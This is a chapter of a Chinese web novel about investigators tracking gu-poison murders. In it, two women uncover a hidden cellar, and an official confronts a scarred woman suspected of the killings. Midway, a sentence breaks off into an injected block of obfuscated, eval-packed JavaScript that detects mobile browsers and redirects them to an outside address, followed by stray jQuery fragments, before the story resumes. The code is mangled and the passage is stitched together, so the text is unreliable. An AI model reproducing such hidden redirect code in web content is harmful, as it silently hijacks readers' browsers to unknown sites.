61. 第四案

    从屋内出来,彼时夜幕降落,泼墨洒向大地,只余月光微微照耀,渡上一层柔意。


    本是睡眠的时间,陷入梦乡的美好享受,但案件到了此地步,休息暂时不可能了。


    闲暇多一分,便就给凶手多一分作恶的时机。


    “知棠,我们现在要从何查去,大毛有没有说过他大哥大嫂的蛊虫是从何而来的?”沈倾倾又想到那日的惨状,那一幕总是挥之不去,像是刻在脑海之中,啃食着她的记忆取而代之。


    “倾倾,按照之前的进度,我查到了郊外的那所茅屋,可是关于线索却一无所获,思来想去,我还是想去那茅屋再看一看。”周知棠握紧手中的剑柄,越想越觉得有些不对劲,那燃烬的灰烬,茅屋看似破败不堪,不能住人,但茶杯压在桌面上的位置依旧有灰尘,按道理久久不住人的住处,挪开那茶杯应当会看到明显的分界线,而那日并没有看到。


    加之灶台上的蜘蛛网并不完整,有被撩开的痕迹,布满了稻草的地板,隐隐深浅不一,像是被踩踏而留下的痕迹。


    “那就去,我想百事婆的线索应该不会有假。”沈倾倾道,遂而去寻了两个火把。


    沿着那层暖黄色的曲折小路缓缓走去,月亮照在两人身上,提着火把走在夜幕之中,两旁的树木枝芽吹响,草木之下虫子窸窸窣窣的爬跳,若非早已经习惯夜晚加班办案,早就被这荒郊野岭无人经过的状况吓得魂飞魄散了。


    但微微的胆小还是从心底开始蔓延,为了缓解那点恐惧之意,沈倾倾忍不住问起了她刚才就想问的问题,“知棠,你和徐念深吵架了?”


    “没有呀!”周知棠淡定一回,寻不出任何异样。


    沈倾倾眉头微蹙,想到刚才大家一同看的一出好戏,“那你们刚才那针尖对麦芒的辩论,所有人都听出了其中暗藏的火药味,他是不是欺负你了,还是让你受委屈了?”


    转头去看她的神情,一如既往的淡定,月色映照出她流畅的侧脸,蔓出侠女般的英姿飒爽。


    “所有人都那么认为?不对,小六肯定没听出。”周知棠手中的火把一晃,火花画出了悠然的线条。


    沈倾倾刚想反驳,但一想到小六那爱吃的摸样,又道不出反驳的话语,待细细琢磨回来,知晓她这又岔开话语了,“真没有吵架?”


    “真没有吵架。”周知棠每次怼完徐念深,才反映过来是自己莫名其妙的怒意,但又不受控制,而这别样的变化就发生在那日见到的身穿白色衣裳的女子。


    沈倾倾了解她,才更不能相信她这句话,但眼下已经到了茅屋前,办案要紧,便没在继续问下去。


    屋子前一片漆黑,周知棠先走一步,抬手就推开了那木门,木门发出吱呀的响声,在安静的夜晚尤为大声。


    火把蹭的照亮整个室内,一秒之内,吵醒了居住在里面的动物,老鼠倏的窜过,蚊虫成团飞舞,寻了一圈,除了这些动物以外,人影只有他们两个。


    “知棠,你换得对,若是顾景淮跟我来这处,定是要被吓得抱头鼠窜。”沈倾倾感慨,手忍不住拍了拍胸口。


    “你就宠着他吧,不试图让他走出那段阴影?”周知棠蹲下身子,那边床底下的稻草略微蓬松,不见脚踩踏的痕迹。


    走过来的沈倾倾得到周知棠暗示,将火把递给她,遂而轻轻拨开那稻草,“我也在想办法,但如今不提起,他就不会想起往事而伤心。”


    拨开那些稻草,果真见一扇通往地下室的木门,这看似破败不堪的茅草屋竟是另有乾坤!


    “打不开,里面反锁了。”周知棠道,席地而坐,“是守株待兔还是引他们出来?”


    “还不确定里面有多少人,别轻举妄动,还是守株待兔较为保险。”沈倾倾回。


    “那就先等一等,我让季绥带人增援。”


    ——


    “曾府确实跑了一个丫鬟,名唤芙妹,寻了许久,连个人影都未有线索,我的人就像是无头苍蝇般寻找。”谢渊借着这名单,点了点上面的那个名字。


    “芙妹,李芙魅。”徐念深寻着他葱白指尖,呢喃着这个名字,又看了看那卷宗上的记载。


    又提出曾若兰的语录,上方写着这丫鬟是曾若兰在外头捡到的,本是在府上做打杂丫鬟,但因为她精通女子容貌美容护理的本事,于是被曾若兰提为了贴身丫鬟。


    胖爷看着这名单,有了计划,“徐大人,我们还是分开去查探这些人。”上面有好些上次周知棠排查的嫌疑人,有苟且为生的,也有感情支离破碎的,“小六,走吧,带你一起去。”


    “等一下,你们跟着李大人行事。”徐念深道,因为名单上精通巫蛊之术的人都需要捉拿进行排查,这是上边下的命令,让刑部尚书李大人全权负责。


    “好的,徐大人。”胖爷和小六领了命令就离开。


    顾景淮转了转脖颈,轻柔额头,“徐大人,这李芙魅和她的相公杜嘉姮的住址没有记载,我们该从何去寻?”他看着两人的往事,忽而坐直了身子,“这夫妻俩,好年轻呀,年龄和我们不相上下,又是京城人,竟然如此精通巫蛊之术,不是自学的天才,就是得到了高人指点。”


    起初徐念深没注意到这对夫妻,顾景淮却依着这记载看到了夫妻俩是青梅竹马,又是邻居的关键信息,而且那村子的名字叫窑水村。


    “不对。”顾景淮起身,去了隔壁的书房好一会儿才回来,手中还提着一个卷宗,那卷宗暗黄皱褶,存了有好些年头。


    徐念深接过,翻开一探,顾景淮坐下,单手抵着下巴,“是不是上面没有这两人的名字?”


    徐念深点头,顾景淮紧着道,“这是当年一起震惊了整个京城的灭村案件,上面呢是存活名单。”


    两人不在当年存活的的名单内,没想到还活着。


    顾景淮手中的扇子一转,“可惜了十几年前震惊京城的灭村事件,让很多人沦为了孤家寡人,大多数人都被烧死了。”


    “这十几年前的事情你是如何知晓的?”徐念深问,身子倚在桌角旁。


    “十几年前我才出生不久,这事我是听别人说的,”顾景淮平日里就爱看些稀奇古怪的书籍,越是离奇的事情他越是看得起劲,那些记录着妖魔鬼怪的书籍更是爱不释手。


    若非后来被吓到了,那些书籍也不至于放在家中积了灰。


    不过于顾母而言是因祸得福,至少儿子看些正经的书籍了,有助于他仕途的前进。


    “没想到这两人还活着,但那时候的两人也是手无缚鸡之力的小孩,是如何长大的?”顾景淮摸了摸下巴,缓缓思索。


    徐念深那时候不在京城,自然不懂这案件,“所以那场大火为何发生?”


    顾景淮摇头轻叹,“唉,是那村里的地主太过于贪婪,压榨村民太狠了,没有孩子的村民自然是无所谓,一道大火,整个村子就同归于尽了。”


    徐念深视线落在卷宗上,“放火的村民中,领头人叫杜大勇,早已经被斩立决了。杜大勇和杜嘉姮没有关系,和那李芙魅也没有亲戚关系,那就不是寻仇,不过这两人会制蛊,应当是同了冥疆人学的,也有可能从小就去了冥疆。”


    “如果是后者,两人回来为着复仇的话,也没有了复仇的对象呀?这下蛊的动机是什么呢?”顾景淮努嘴,“假设凶手真的是这夫妻俩,那这些死者和这两人是什么关系?”


    “还是要寻到这两人的下落,让人看守城门口,不要让他们出城。”徐念深道。“躲了十几年,让人查不到踪影,是有些本事的。”


    “我最害怕的是两人还躲在京城里开始谋划下一场案件。”顾景淮担忧,这两人真如同耗子在京城之中四处窜走,不受任何约束。


    顾景淮又看着这三起案件,从目前的线索来看,关乔和陈小莲先是两情相悦,而后提出分开;冯三和芬儿确实有些感情,但冯三实属是风流,又不愿意赎身,而罗英彩和廖立轩倒是两情相悦。


    徐念深指尖轻扣,“关乔的母亲是想要罗英彩这媳妇,但罗英彩父母也是不同意廖立轩这女婿,那廖立轩父母对罗英彩如何?”


    “听闻是满意的,书香门第的女子,彬彬有礼,琴棋书画又精通,是很多家庭的最爱。”


    “所以两人没有死成?”徐念深幽幽道,两人私会的事情是在罗家被发现的,廖立轩那日同罗英彩私会,被府上的管家发现了,于是罗夫子便锁紧大门,暂停授课,让签了死契的下人围住罗英彩的院子。


    而据罗英彩所言,那日就察觉到了身子不舒适,浑身骨头乏累,犯困,又想着晚上的私会,于是便吃了那养颜美容的药丸,好让自己精神些。


    廖立轩到时,她不知不觉就睡着了,廖立轩倒是端着君子之礼在一旁提笔看书等着她醒来,期间饮了杯茶水,没想到也跟着昏昏欲睡了。


    “那茶水没有问题。”顾景淮补充,“廖立轩应当是被人直接下了蛊虫,而那罗英彩所服用的药丸又和廖立轩脱不了干系。“


    “有可能那凶手的目的就是廖立轩和罗英彩,只不过通过他朋友行事。”徐念深猜测。


    于是两人就寻到了廖立轩的朋友,李温,家中是开当铺的。


    他是和凶手最有可能有交集的人。


    “徐大人,那人我倒是不记得了,就挎着一个篮子,穿着身黑色斗篷,面容真是记不清楚了,但他神色严肃,好似天生臭脸不爱笑。”李温半倚在桌面上,双手搭在桌面上支撑整个身子,双腿微微摇晃,“我这开当铺的,往来交易数不胜数,总不能记住每一个人的容貌吧。”


    “那你怎么就买他的东西呢?”顾景


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15523218|162181||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    淮好奇。


    “还不是因为我廖兄,想着那罗姑娘的生辰到了,不知晓送些什么,首饰他觉得太俗气了,碰巧那人说自己做的药丸能美容养颜,就买了给兄弟。”李温道。


    “李公子,这街上随便买的东西你都相信,还送人,就不怕是坑骗你的?”顾景淮无语一笑,也是见着这人心大,万一吃死了人,查下来,他免不了要担些责任。


    “我哪里想太多,那人态度冷淡,一副自己有好货不愁客人的摸样,若是不出手不就亏了吗?”李温憨笑,挠了挠脑袋,微微害怕,“是不是出事了?”


    “没出事!”


    李温松了一口气,但廖兄早已经告知自己了,如今只好也跟着装傻,“对了,我就记得那人的眼睛是下三白,”又忍不住敲了敲脑袋,“我真是榆木脑袋,怎么就忘记了父亲的叮嘱,不让我同这面相的人做生意!”


    出了当铺。


    “得,又断了线索,眼睛下三白这长相倒是奇怪。”


    徐念深抿唇,那日所见到的女子,因为太过于柔软的外表,让人忽略她的下三白眼睛。


    “客栈!”徐念深拍了拍顾景淮,示意他跟自己往前走。


    周知棠看着窗外的月色早已经换为了和煦的日出,雾蓝色的天空白云层层交叠。


    两人熬了一夜,守了一夜,也掷了许久的骰子,季绥终于领着人来了。


    “我们俩没睡好,这地下室的人可睡得香。”周知棠揉了揉双眼,给自己提神,沈倾倾点头,靠在她肩上。


    季绥二话不说打开这地下室,几人往下走去,阶梯因为年久未修,发出声响。


    地下室不是很宽敞,一张床榻,一张桌子,一个柜子,而那柜子里面放着很多块烙饼。


    桌面上摆放着一个缺了盖子的茶壶,两个有缺口的茶杯。


    床榻上,一对老夫妻相互依偎,那褪色的毯子盖在两人身上。


    看着来人,那夫妻俩镇定淡定。


    “我们见过!”周知棠惊呼,这不就是那日在鬼市遇见的老夫妻吗?


    没了黑色斗篷遮住脸庞,夫妻俩一看就是冥疆人。


    带着那么多人前来,周知棠知晓是吓到他们了,但是看到旁边角落里摆放着的制蛊工具,脸色禁不住一沉。


    沈倾倾柔声一问,“是挪达奶奶和喇洺爷爷吗?”


    这就是周知棠要找的老夫妻,在那些名单上最精通巫蛊之术的人。


    那挪达奶奶一口流利的中原话,彼时道,音色苍老,“是,难为你们找了多么多人对付我们夫妻俩。”


    沈倾倾和周知棠对望,而后出声,“在我们国家,巫蛊之术是严令禁止的。”


    “我们没有使!”喇洺道,眼眸在这夜色更显混浊。


    “还请同我们回大理寺一趟。”季绥出口。


    两人颤颤巍巍从床上下来,那挪达刚下床,身子不稳一晃,沈倾倾眼疾手快扶稳了她。


    两人身上被黑色衣裳裹挟,只余下那张爬满了皱纹的脸颊。


    ——


    客栈里,徐念深又见到了那日的女子,“徐将军,我在此等候你多时了,总算是认我了吗?”


    徐念深幽幽看着她,厉声一问,“你究竟是谁?”


    “你的人还没有查到我的身份吗?”她视线跃过徐念深,落在身后的顾景淮,似水秋波含盈,“顾少卿也来了?”


    顾景淮看这女子虽柔软,那张脸庞白得晃眼,晃得心脏发慌。


    徐念深回头,才发现他脸色难堪,甚至于是恐惧,身子横在他面前,质问,“你是李芙魅?”


    话落,他先一步出手,手腕朝她肩上一击,那女子则身轻如燕,一眨眼就落至了顾景淮身后,手抚在顾景淮肩上,如藤蔓、如厉蛇缓缓粘爬,艳丽而剧毒。


    只一秒,就被他甩开,反手被握住了手腕,女子毫无恐慌之意,“顾少卿,你知不知晓什么叫怜香惜玉,你的夫人,也是被你如此粗暴狠厉的对待吗?”


    徐念深再次出击,剑朝她刺去,这一刺,女子迅疾躲闪,身上那白色衣裳滑落,裸露的身子千疮百孔,一道又一道的疤痕,胸部以下,脚踝以上,疤痕上长着密密麻麻的小红点。


    徐念深这次不会放她跑了,视线紧紧盯着她的脸庞,顾景淮弯腰将她的衣裳拾起,扔到了那女子身上,空中,徐念深剑一挑,破了个四分五裂,随后身后的被子先一步被徐念深挑起,将她裹住,“衣裳不可轻易脱下,脱下了,想穿上就难了。”


    女子本就不是徐念深的对手,被捆绑在被子之中,转而央求,“你杀了我吧!”


    “上次支走了周知棠,这次又是何目的?”徐念深眸光凛着寒意。


    “目的,我的目的都达到了!”那女子坦然而笑,“就等着赴死了。”